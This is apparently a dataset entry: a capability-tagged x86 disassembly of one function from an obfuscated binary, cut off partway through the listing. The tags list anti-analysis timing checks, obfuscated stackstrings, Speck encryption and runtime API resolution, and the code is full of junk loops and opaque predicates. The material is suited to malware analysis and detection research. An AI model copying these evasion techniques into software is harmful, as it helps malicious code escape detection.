Function at 0x1003ae48
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Contain obfuscated stackstrings
Encrypt data using speck
Parse pe header
Query environment variable
Resolve function by parsing pe exports
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10090d20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x237c
call fcn.1008c950
push esi
mov dword [ebp - 0x74], 0x69f30cc2
mov dword [ebp - 0x2b4], 0xfffffff8
mov dword [ebp - 0x7d8], 0x3d0e
mov dword [ebp - 0x14f4], 0x10009cd8
cmp dword [ebp - 0x7d8], 0x404f
jle 0x1003af86
and dword [ebp - 0x2a8], 0
jmp 0x1003aeb6
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x22e7
jge 0x1003af86
and dword [ebp - 0x2a0], 0
jmp 0x1003aedc
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x18ce
jge 0x1003af81
and dword [ebp - 0x5b4], 0
jmp 0x1003af02
mov eax, dword [ebp - 0x5b4]
inc eax
mov dword [ebp - 0x5b4], eax
cmp dword [ebp - 0x5b4], 0x3592
jge 0x1003af7c
mov eax, dword [ebp - 0x2a8]
sub eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x5b4]
shl eax, cl
cdq
mov dword [ebp - 0x1190], eax
mov dword [ebp - 0x118c], edx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov dword [ebp - 0x1964], eax
push dword [ebp - 0x118c]
push dword [ebp - 0x1190]
lea ecx, [ebp - 0x20ec]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1184], eax
mov ecx, dword [ebp - 0x1184]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x20ec]
call fcn.100252df
jmp 0x1003aef5
jmp 0x1003aecf
jmp 0x1003aea9
mov dword [ebp - 0x198], 0x39523dd9
cmp dword [ebp - 0x7d8], 0x3c75
jge 0x1003afa8
push dword [ebp - 0x14f4]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x190], 1
mov dword [ebp - 0x1504], 7
mov dword [ebp - 0x150c], 0xfff7
mov dword [ebp - 0xda0], 0xa3766593
mov dword [ebp - 0x151c], 0xfad54077
cmp dword [ebp - 0x74], 0x971867b8
je 0x1003afef
mov dword [ebp - 0x7e8], 1
jmp 0x1003aff6
and dword [ebp - 0x7e8], 0
cmp dword [ebp - 0x74], 0
je 0x1003b011
mov eax, 0x7821
test eax, eax
je 0x1003b011
mov dword [ebp - 0xeec], 1
jmp 0x1003b018
and dword [ebp - 0xeec], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0xeec], eax
jge 0x1003b02f
mov dword [ebp - 0xba8], 1
jmp 0x1003b036
and dword [ebp - 0xba8], 0
cmp dword [ebp - 0xba8], 1
jg 0x1003b04b
mov dword [ebp - 0x7e0], 1
jmp 0x1003b052
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x7e0]
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x2b4], eax
je 0x1003b075
mov dword [ebp - 0xd90], 1
jmp 0x1003b07c
and dword [ebp - 0xd90], 0
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0xd90]
cmp eax, 0xffff
jae 0x1003b099
mov dword [ebp - 0xbb0], 1
jmp 0x1003b0a0
and dword [ebp - 0xbb0], 0
mov eax, dword [ebp - 0x74]
inc eax
mov ecx, dword [ebp - 0x7e8]
sub ecx, eax
cmp ecx, dword [ebp - 0xbb0]
jne 0x1003b0c0
mov dword [ebp - 0x7f0], 1
jmp 0x1003b0c7
and dword [ebp - 0x7f0], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x7f0], eax
jge 0x1003b0de
mov dword [ebp - 0x14fc], 1
jmp 0x1003b0e5
and dword [ebp - 0x14fc], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x1978], eax
cmp dword [ebp - 0x74], 0
jbe 0x1003b100
mov dword [ebp - 0xf50], 1
jmp 0x1003b107
and dword [ebp - 0xf50], 0
imul eax, dword [ebp - 0xf50], 0xfffe
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0xa98ceef
jne 0x1003b12f
mov dword [ebp - 0x7f8], 1
jmp 0x1003b136
and dword [ebp - 0x7f8], 0
mov eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x1504], eax
mov dword [ebp - 0x190], 0
jmp 0x1003b167
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 5
jl 0x1003b4e2
mov dword [ebp - 0x64], 0x23b1
push 1
lea ecx, [ebp - 0xfe0]
call fcn.100254f9
and dword [ebp - 4], 0
mov dword [ebp - 0x818], 0xf6657eef
mov dword [ebp - 0x2ac], 0
jmp 0x1003b1af
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 1
jge 0x1003b1d1
push dword [ebp - 0x2ac]
lea ecx, [ebp - 0xfe0]
call fcn.10025597
mov dword [eax], 0xe7a32987
jmp 0x1003b1a2
mov dword [ebp - 0x198], 0
jmp 0x1003b1ea
mov eax, dword [ebp - 0x198]
dec eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0xfffffffc
jl 0x1003b4ce
mov dword [ebp - 0x6b4], 0xfffffffb
mov dword [ebp - 0x2bc], 0xfffffffd
mov dword [ebp - 0x152c], 0x98c7be44
mov eax, dword [ebp - 0x6b4]
cmp dword [ebp - 0x74], eax
jl 0x1003b22c
mov dword [ebp - 0x808], 1
jmp 0x1003b233
and dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x64], eax
jge 0x1003b24a
mov dword [ebp - 0xbb8], 1
jmp 0x1003b251
and dword [ebp - 0xbb8], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0xbb8], eax
jle 0x1003b268
mov dword [ebp - 0x800], 1
jmp 0x1003b26f
and dword [ebp - 0x800], 0
cmp dword [ebp - 0x800], 0xefae
jne 0x1003b287
mov dword [ebp - 0xd98], 1
jmp 0x1003b28e
and dword [ebp - 0xd98], 0
mov eax, dword [ebp - 0xda0]
cmp dword [ebp - 0xd98], eax
jne 0x1003b2a8
mov dword [ebp - 0xbc0], 1
jmp 0x1003b2af
and dword [ebp - 0xbc0], 0
mov eax, dword [ebp - 0x808]
cmp eax, dword [ebp - 0xbc0]
jge 0x1003b2d0
push 6
pop eax
test eax, eax
je 0x1003b2d0
mov dword [ebp - 0x810], 1
jmp 0x1003b2d7
and dword [ebp - 0x810], 0
cmp dword [ebp - 0x810], 0x8720725f
jb 0x1003b2ef
mov dword [ebp - 0xe88], 1
jmp 0x1003b2f6
and dword [ebp - 0xe88], 0
mov eax, dword [ebp - 0x150c]
imul eax, dword [ebp - 0xe88]
cmp eax, dword [ebp - 0x6b4]
jl 0x1003b317
mov dword [ebp - 0x1514], 1
jmp 0x1003b31e
and dword [ebp - 0x1514], 0
push 0
lea ecx, [ebp - 0xfe0]
call fcn.10025597
cmp dword [eax], 0
je 0x1003b34d
mov byte [ebp - 0x18c], 0
movzx eax, byte [ebp - 0x18c]
test eax, eax
je 0x1003b348
call dword [sym.imp.USER32.dll_DestroyCaret]
jmp 0x1003b4c9
mov dword [ebp - 0x4b4], 0
jmp 0x1003b366
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 2
jge 0x1003b382
mov eax, dword [ebp - 0x4b4]
mov dword [ebp + eax*4 - 0x119c], 0x10065160
jmp 0x1003b359
mov eax, dword [ebp - 0x6b4]
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x818], 0
je 0x1003b3ac
cmp dword [ebp - 0x151c], 0
je 0x1003b3ac
mov dword [ebp - 0xbc8], 1
jmp 0x1003b3b3
and dword [ebp - 0xbc8], 0
mov eax, dword [ebp - 0xbc8]
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x64], 0
jmp 0x1003b3db
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jg 0x1003b4c9
cmp dword [ebp - 0x6b4], 0
jne 0x1003b453
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x119c], 0
jne 0x1003b40a
mov dword [ebp - 0x820], 1
jmp 0x1003b411
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0x820]
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x2bc]
cmp dword [ebp - 0x64], eax
jg 0x1003b443
push dword [ebp - 0x64]
lea ecx, [ebp - 0xfe0]
call fcn.10025597
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x119c]
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x119c], 0
je 0x1003b468
cmp dword [ebp - 0xda0], 0
je 0x1003b468
mov dword [ebp - 0x1524], 1
jmp 0x1003b46f
and dword [ebp - 0x1524], 0
push dword [ebp - 0x64]
lea ecx, [ebp - 0xfe0]
call fcn.10025597
mov eax, 0x4cad7069
test eax, eax
je 0x1003b496
xor eax, eax
je 0x1003b496
mov dword [ebp - 0x828], 1
jmp 0x1003b49d
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 0x828]
sub eax, 8
mov dword [ebp - 0x152c], eax
push dword [ebp - 0x64]
lea ecx, [ebp - 0xfe0]
call fcn.10025597
cmp dword [eax], 0
je 0x1003b4c4
jmp 0x1003b3d4
jmp 0x1003b3d4
jmp 0x1003b1dd
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfe0]
call fcn.1002557b
jmp 0x1003b15a
cmp dword [ebp + 0x10], 0
jbe 0x1003bb53
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1003bb53
mov dword [ebp - 0x7cc], 0x2d5e48d3
mov dword [ebp - 0x7c8], 0x2d5e48d3
mov dword [ebp - 0x7c4], 0x2d5e48d3
mov dword [ebp - 0x7c0], 0x2d5e48d3
mov dword [ebp - 0x154], 0xf665683c
mov dword [ebp - 0x1ec], 0xc2b2
mov dword [ebp - 0xbd0], 0x368
mov dword [ebp - 0x153c], 0x10009d20
cmp dword [ebp - 0xbd0], 0x419
jle 0x1003b671
and dword [ebp - 0x4bc], 0
jmp 0x1003b56e
mov eax, dword [ebp - 0x4bc]
inc eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0x31ef
jge 0x1003b671
and dword [ebp - 0x2c4], 0
jmp 0x1003b594
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x7d68
jge 0x1003b66c
and dword [ebp - 0x5bc], 0
jmp 0x1003b5ba
mov eax, dword [ebp - 0x5bc]
inc eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 0x5174
jge 0x1003b667
and dword [ebp - 0x2cc], 0
jmp 0x1003b5e0
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x241a
jge 0x1003b662
mov eax, dword [ebp - 0x4bc]
sub eax, dword [ebp - 0x2c4]
mov ecx, dword [ebp - 0x5bc]
shl eax, cl
mov ecx, dword [ebp - 0x2cc]
shl eax, cl
cdq
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x11a4], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x1ac8], eax
push dword [ebp - 0x11a4]
push dword [ebp - 0x11a8]
lea ecx, [ebp - 0x1e58]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1534], eax
mov ecx, dword [ebp - 0x1534]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1e58]
call fcn.100252df
jmp 0x1003b5d3
jmp 0x1003b5ad
jmp 0x1003b587
jmp 0x1003b561
mov dword [ebp - 0x860], 0xfffffffe
cmp dword [ebp - 0xbd0], 0x314
jge 0x1003b693
push dword [ebp - 0x153c]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x1650], 8
mov dword [ebp - 0x154], 0
jmp 0x1003b6b6
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 3
jg 0x1003b7ea
mov dword [ebp - 0x244], 0x5b40194d
mov dword [ebp - 0x1980], 2
mov dword [ebp - 0x244], 3
jmp 0x1003b6f0
mov eax, dword [ebp - 0x244]
dec eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
jl 0x1003b7e5
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0x1ad0], 1
mov dword [ebp - 0x830], 0xfffffffc
mov dword [ebp - 0x4c4], 0
jmp 0x1003b734
mov eax, dword [ebp - 0x4c4]
inc eax
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 3
jg 0x1003b7e0
mov dword [ebp - 0x1544], 0x6593c394
mov byte [ebp - 0x144], 0
movzx eax, byte [ebp - 0x144]
test eax, eax
je 0x1003b767
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov eax, dword [ebp - 0x244]
mov eax, dword [ebp + eax*4 - 0x7cc]
mov dword [ebp - 0x830], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp + eax*4 - 0x7cc]
cmp dword [ebp - 0x830], eax
je 0x1003b7a1
cmp dword [ebp - 0x1ec], 0
jne 0x1003b7a1
and dword [ebp - 0xf0c], 0
jmp 0x1003b7ab
mov dword [ebp - 0xf0c], 1
cmp dword [ebp - 0xf0c], 0xfac1
jne 0x1003b7c5
or eax, 0xffffffff
jne 0x1003b7c5
and dword [ebp - 0x838], 0
jmp 0x1003b7cf
mov dword [ebp - 0x838], 1
mov eax, dword [ebp - 0x838]
mov dword [ebp - 0x1544], eax
jmp 0x1003b727
jmp 0x1003b6e3
jmp 0x1003b6a9
mov dword [ebp - 0x1ec], 0x19
jmp 0x1003b803
mov eax, dword [ebp - 0x1ec]
dec eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x15
jl 0x1003bb3f
mov dword [ebp - 0xf54], 0x657eef10
mov dword [ebp - 0x118], 0xfffffffe
mov dword [ebp - 0xbe0], 0x105c659
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0xbe8], 0xffffffff
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x7cc], 0
je 0x1003b866
cmp dword [ebp - 0x118], 0
je 0x1003b866
mov dword [ebp - 0xbd8], 1
jmp 0x1003b86d
and dword [ebp - 0xbd8], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0xbd8], eax
jge 0x1003b887
mov dword [ebp - 0x154c], 1
jmp 0x1003b88e
and dword [ebp - 0x154c], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x1988], eax
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x1ad8], eax
cmp dword [ebp - 0x118], 1
jge 0x1003b8bb
mov dword [ebp - 0x840], 1
jmp 0x1003b8c2
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x1ec]
cmp eax, dword [ebp - 0x840]
jge 0x1003b8dc
mov dword [ebp - 0xda8], 1
jmp 0x1003b8e3
and dword [ebp - 0xda8], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0xda8], eax
je 0x1003b8fd
mov dword [ebp - 0x848], 1
jmp 0x1003b904
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x848]
mov dword [ebp - 0xbe0], eax
mov eax, dword [ebp - 0xbe0]
sub eax, 0x4961f07f
cmp eax, dword [ebp - 0x118]
je 0x1003b92f
mov dword [ebp - 0x850], 1
jmp 0x1003b936
and dword [ebp - 0x850], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0x850], eax
je 0x1003b950
mov dword [ebp - 0xe90], 1
jmp 0x1003b957
and dword [ebp - 0xe90], 0
cmp dword [ebp - 0xe90], 1
jg 0x1003b96c
mov dword [ebp - 0x1554], 1
jmp 0x1003b973
and dword [ebp - 0x1554], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7cc]
mov dword [ebp - 0x1990], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7cc]
mov dword [ebp - 0x1ae4], eax
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x1998], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7cc]
sub eax, 0x17edebcd
mov dword [ebp - 0x154], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7cc]
cmp dword [ebp - 0x154], eax
jl 0x1003b9de
mov dword [ebp - 0x858], 1
jmp 0x1003b9e5
and dword [ebp - 0x858], 0
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0xbe8], eax
mov eax, dword [ebp - 0xbe8]
mov dword [ebp - 0x860], eax
cmp dword [ebp - 0x860], 0x70bd
jne 0x1003ba15
mov dword [ebp - 0xdb0], 1
jmp 0x1003ba1c
and dword [ebp - 0xdb0], 0
mov eax, dword [ebp - 0x2d4]
cmp dword [ebp - 0xdb0], eax
jge 0x1003ba36
mov dword [ebp - 0x868], 1
jmp 0x1003ba3d
and dword [ebp - 0x868], 0
cmp dword [ebp - 0x868], 0
je 0x1003ba52
mov dword [ebp - 0x155c], 1
jmp 0x1003ba59
and dword [ebp - 0x155c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7cc]
mov dword [ebp - 0x1af0], eax
imul eax, dword [ebp - 0x2d4], 0x4e1b
test eax, eax
jne 0x1003ba8c
cmp dword [ebp - 0x2d4], 0
jne 0x1003ba8c
and dword [ebp - 0xbf0], 0
jmp 0x1003ba96
mov dword [ebp - 0xbf0], 1
cmp dword [ebp - 0xbf0], 0xf6cf
jg 0x1003baae
mov dword [ebp - 0x870], 1
jmp 0x1003bab5
and dword [ebp - 0x870], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x7cc]
cmp dword [ebp - 0x870], eax
jne 0x1003bad6
mov dword [ebp - 0x878], 1
jmp 0x1003badd
and dword [ebp - 0x878], 0
mov dword [ebp - 0xf54], 2
mov eax, dword [ebp - 0xf54]
cmp eax, dword [ebp - 0x878]
jl 0x1003bb01
mov dword [ebp - 0xbf8], 1
jmp 0x1003bb08
and dword [ebp - 0xbf8], 0
imul eax, dword [ebp - 0xbf8], 0xa1d0
test eax, eax
jne 0x1003bb24
xor eax, eax
inc eax
jne 0x1003bb24
and dword [ebp - 0x880], 0
jmp 0x1003bb2e
mov dword [ebp - 0x880], 1
mov eax, dword [ebp - 0x880]
mov dword [ebp - 0x1650], eax
jmp 0x1003b7f6
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.10033e7b
pop ecx
pop ecx
jmp 0x10048ea4
push 2
lea ecx, [ebp - 0x1840]
call fcn.100254f9
mov dword [ebp - 4], 1
mov dword [ebp - 0x1f0], 1
mov dword [ebp - 0x63c], 0
jmp 0x1003bb8a
mov eax, dword [ebp - 0x63c]
inc eax
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 2
jge 0x1003bbac
push dword [ebp - 0x63c]
lea ecx, [ebp - 0x1840]
call fcn.10025597
mov dword [eax], 1
jmp 0x1003bb7d
mov dword [ebp - 0x1f0], 0
jmp 0x1003bbc5
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 1
jg 0x1003bbe8
push dword [ebp - 0x1f0]
lea ecx, [ebp - 0x1840]
call fcn.10025597
cmp dword [eax], 0
je 0x1003bbe6
jmp 0x1003bbe8
jmp 0x1003bbb8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1840]
call fcn.1002557b
or dword [ebp - 0x1754], 0xffffffff
or dword [ebp - 0x1750], 0xffffffff
or dword [ebp - 0x174c], 0xffffffff
or dword [ebp - 0x1748], 0xffffffff
lea ecx, [ebp - 0x78d]
call fcn.100255a6
push eax
lea eax, [ebp - 0x1744]
push eax
lea eax, [ebp - 0x1754]
push eax
lea ecx, [ebp - 0x1d24]
call fcn.100255a9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x19ec]
call fcn.10025555
mov dword [ebp - 4], 2
mov dword [ebp - 0x2dc], 0x9000d4e7
mov dword [ebp - 0x19a0], 0x5934
mov dword [ebp - 0x2dc], 0
jmp 0x1003bc7c
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 3
jg 0x1003bccc
mov dword [ebp - 0x224], 0x6d7be7e5
mov dword [ebp - 0x224], 0
jmp 0x1003bca8
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 4
jge 0x1003bcca
push dword [ebp - 0x224]
lea ecx, [ebp - 0x19ec]
call fcn.10025597
mov dword [eax], 0x59b8bc58
jmp 0x1003bc9b
jmp 0x1003bc6f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x19ec]
call fcn.1002557b
cmp dword [ebp + 0x10], 0
jne 0x10041c82
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x15c], 0xfeb9e9d6
mov dword [ebp - 0x2e4], 0x3494abc2
mov dword [ebp - 0x1d8], 1
mov dword [ebp - 0x1af8], 1
mov dword [ebp - 0x4cc], 0
jmp 0x1003bd2d
mov eax, dword [ebp - 0x4cc]
inc eax
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 2
jge 0x1003bd49
mov eax, dword [ebp - 0x4cc]
mov dword [ebp + eax*4 - 0x1ba8], 0xf0e7
jmp 0x1003bd20
cmp dword [ebp - 0x48], 0
jle 0x1003bd5b
mov dword [ebp - 0xc00], 1
jmp 0x1003bd62
and dword [ebp - 0xc00], 0
mov dword [ebp - 0x2e4], 1
cmp dword [ebp - 0x2e4], 0x91023f12
ja 0x1003bd84
mov dword [ebp - 0xdb8], 1
jmp 0x1003bd8b
and dword [ebp - 0xdb8], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0xdb8], eax
jl 0x1003bda2
mov dword [ebp - 0x888], 1
jmp 0x1003bda9
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x888], eax
jg 0x1003bdc0
mov dword [ebp - 0x1658], 1
jmp 0x1003bdc7
and dword [ebp - 0x1658], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x19a8], eax
mov eax, dword [ebp - 0xc00]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1d8], eax
imul eax, dword [ebp - 0x1d8], 0x39d5
mov ecx, dword [ebp - 0x15c]
add ecx, eax
jne 0x1003bdfd
cmp dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x2e4], eax
jne 0x1003be14
mov dword [ebp - 0x890], 1
jmp 0x1003be1b
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x890]
cmp eax, dword [ebp - 0x48]
jge 0x1003be3e
cmp dword [ebp - 0x2e4], 0
je 0x1003be3e
mov dword [ebp - 0xe98], 1
jmp 0x1003be45
and dword [ebp - 0xe98], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0xe98]
jge 0x1003be5c
mov dword [ebp - 0x898], 1
jmp 0x1003be63
and dword [ebp - 0x898], 0
cmp dword [ebp - 0x898], 9
je 0x1003be78
mov dword [ebp - 0x1398], 1
jmp 0x1003be7f
and dword [ebp - 0x1398], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1b00], eax
mov eax, 0x55f9
cmp eax, 0x6fd8
jge 0x1003bea0
mov dword [ebp - 0xc08], 1
jmp 0x1003bea7
and dword [ebp - 0xc08], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0xc08], eax
jge 0x1003bebe
mov dword [ebp - 0x8a0], 1
jmp 0x1003bec5
and dword [ebp - 0x8a0], 0
cmp dword [ebp - 0x8a0], 0
je 0x1003beff
mov dword [ebp - 0x116c], 4
cmp dword [ebp - 0x48], 0
jne 0x1003beea
mov dword [ebp - 0xdc0], 1
jmp 0x1003bef1
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0xdc0]
mov dword [ebp - 0x116c], eax
jmp 0x1003bf59
mov dword [ebp - 0x1d8], 0
jmp 0x1003bf18
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x14
jne 0x1003bf59
mov dword [ebp - 0x15c], 0
jmp 0x1003bf3a
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 1
jg 0x1003bf57
mov eax, dword [ebp - 0x15c]
cmp dword [ebp + eax*4 - 0x1ba8], 0
je 0x1003bf55
jmp 0x1003bf57
jmp 0x1003bf2d
jmp 0x1003bf0b
mov byte [ebp - 0x165], 0
movzx eax, byte [ebp - 0x165]
test eax, eax
je 0x1003bf75
push 0
push 0
call dword [sym.imp.USER32.dll_EndDialog]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.10027469
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x4d4], 0xf90ef307
mov dword [ebp - 0x1010], 0x2717f403
mov dword [ebp - 0x2f4], 0x1ba6b42b
mov dword [ebp - 0x1540], 0xb653b1da
mov dword [ebp - 0x8d0], 0xa4c82104
mov dword [ebp - 0x8c8], 0xdd93ba6a
push 4
lea ecx, [ebp - 0x156c]
call fcn.100254f9
mov dword [ebp - 4], 3
mov dword [ebp - 0x2ec], 0xffff
mov dword [ebp - 0xdc8], 0x9643747c
mov dword [ebp - 0x5c4], 0
jmp 0x1003c003
mov eax, dword [ebp - 0x5c4]
inc eax
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 4
jge 0x1003c025
push dword [ebp - 0x5c4]
lea ecx, [ebp - 0x156c]
call fcn.10025597
mov dword [eax], 0x5bb08661
jmp 0x1003bff6
mov eax, dword [ebp - 0x2ec]
dec eax
mov dword [ebp - 0x2ec], eax
je 0x1003c06a
push 2
lea ecx, [ebp - 0x156c]
call fcn.10025597
mov eax, dword [ebp - 0x2ec]
mov dword [ebp - 0x19b0], eax
mov eax, dword [ebp - 0xdc8]
imul eax, dword [ebp - 0x4d4]
test eax, eax
je 0x1003c06a
mov dword [ebp - 0x8a8], 1
jmp 0x1003c071
and dword [ebp - 0x8a8], 0
imul eax, dword [ebp - 0x8a8], 0xd045
cmp eax, 0x1e1c5a3d
jge 0x1003c08e
mov dword [ebp - 0xc10], 1
jmp 0x1003c095
and dword [ebp - 0xc10], 0
mov eax, dword [ebp - 0x2f4]
cmp dword [ebp - 0xc10], eax
jg 0x1003c0af
mov dword [ebp - 0x8b0], 1
jmp 0x1003c0b6
and dword [ebp - 0x8b0], 0
mov eax, dword [ebp - 0x4d4]
add eax, dword [ebp - 0x8b0]
neg eax
cmp dword [ebp - 0x4d4], eax
je 0x1003c0d8
mov dword [ebp - 0xf1c], 1
jmp 0x1003c0df
and dword [ebp - 0xf1c], 0
mov eax, dword [ebp - 0x1010]
cmp dword [ebp - 0xf1c], eax
jg 0x1003c0f9
mov dword [ebp - 0x8b8], 1
jmp 0x1003c100
and dword [ebp - 0x8b8], 0
cmp dword [ebp - 0x8b8], 0x35dd253d
jne 0x1003c118
mov dword [ebp - 0xc18], 1
jmp 0x1003c11f
and dword [ebp - 0xc18], 0
mov eax, dword [ebp - 0x1540]
cmp dword [ebp - 0xc18], eax
jle 0x1003c139
mov dword [ebp - 0x1018], 1
jmp 0x1003c140
and dword [ebp - 0x1018], 0
push 2
lea ecx, [ebp - 0x156c]
call fcn.10025597
push 2
lea ecx, [ebp - 0x156c]
call fcn.10025597
mov eax, dword [ebp - 0x8d0]
cmp dword [ebp - 0x8c8], eax
je 0x1003c174
mov dword [ebp - 0x8c0], 1
jmp 0x1003c17b
and dword [ebp - 0x8c0], 0
mov eax, dword [ebp - 0x8c0]
mov dword [ebp - 0x2f4], eax
mov eax, dword [ebp - 0x2f4]
cmp dword [ebp - 0x4d4], eax
jle 0x1003c1a1
mov dword [ebp - 0x13a4], 1
jmp 0x1003c1a8
and dword [ebp - 0x13a4], 0
mov eax, dword [ebp - 0xdc8]
mov dword [ebp - 0x1b08], eax
mov eax, dword [ebp - 0x2f4]
imul eax, dword [ebp - 0x8c8]
imul eax, eax, 0x3f07
sub eax, 0x38991f32
imul eax, eax, 6
cmp eax, 0xfffffffb
je 0x1003c1e0
mov dword [ebp - 0xc20], 1
jmp 0x1003c1e7
and dword [ebp - 0xc20], 0
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x8d0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x156c]
call fcn.1002557b
mov dword [ebp - 0xea0], 0x5142
mov dword [ebp - 0x1444], 0x10009d40
cmp dword [ebp - 0xea0], 0x51cb
jle 0x1003c30a
and dword [ebp - 0x4dc], 0
jmp 0x1003c23c
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
